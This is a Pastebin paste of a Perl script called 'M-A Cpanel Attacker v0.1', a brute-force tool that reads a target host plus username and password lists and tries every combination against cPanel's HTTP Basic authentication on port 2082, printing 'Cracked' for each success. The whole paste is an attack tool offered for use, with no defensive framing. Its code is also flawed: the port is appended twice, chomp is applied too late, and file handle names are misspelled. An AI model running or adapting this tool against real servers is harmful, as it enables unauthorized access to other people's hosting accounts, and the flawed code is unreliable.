Advertisement
m-a_labz

M-A Cpanel Attacker v0.1

Aug 29th, 2013
556
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.71 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # M-A_labz
  3. # gr33tz : Mr_Anarshi-T - b0y
  4. use Term::ANSIColor;
  5. use Win32::Console::ANSI;
  6. use LWP::UserAgent;
  7. use HTTP::Request;
  8. $ua = LWP::UserAgent->new(keep_alive => 1);
  9. $ua->agent("Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0)");
  10. $ua->timeout (30);
  11. # inpute variables :
  12. # host
  13. print color("bold red"), "\n[+] M-A Cpanel Attacker v0.1 \n";
  14. print color 'reset';
  15. print color("green"), "\n[+] Insert Target Name or IP Adress : ";
  16. print color 'reset';
  17. $host=<STDIN>;
  18. $port   = "2082";
  19. $site = "http://".$host.":".$port;
  20. chomp($host);
  21. # user list
  22. print color("green"), "[+] Insert User name List : ";
  23. print color 'reset';
  24. $list=<STDIN>;
  25. chomp($list);
  26. # pass list
  27. print color("green"), "[+] Insert Password List  : ";
  28. print color 'reset';
  29. $plist=<STDIN>;
  30. chomp($plist);
  31. # start working
  32. # open user list
  33. open (USRFILE, "<$list") || die "[-] Can't open the List of users file !";
  34. @LISTS = <USRFILE>;
  35. close USRFILLE;
  36. foreach my $L (@LISTS) {
  37. chomp $L;
  38. $usr = $L;
  39. print color("green"), "\n [+] Working on ";
  40. print color 'reset';
  41. print color("bold yellow"), "$usr\n\n";
  42. print color 'reset';
  43. open (PASSFILE, "<$plist") || die "[-] Can't open the List of password file !";
  44. @PLISTS = <PASSFILE>;
  45. close PASSFILLE;
  46. foreach my $P (@PLISTS) {
  47. chomp $P;
  48. $pwd = $P;
  49. print color ("bold white"), "  [-] Trying $pwd\n";
  50. print color 'reset';
  51. $host= $site.":".$port;
  52. my $ua = LWP::UserAgent->new;
  53.         my $req = HTTP::Request->new(GET => $host);
  54.         $req->authorization_basic($usr, $pwd);
  55.         if($ua->request($req)->code == 401){
  56.         }
  57.         else {
  58.         print color("yellow"), "   [+] Cracked : $pwd\n";
  59.         print color 'reset';
  60.         }
  61.         }
  62.         }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement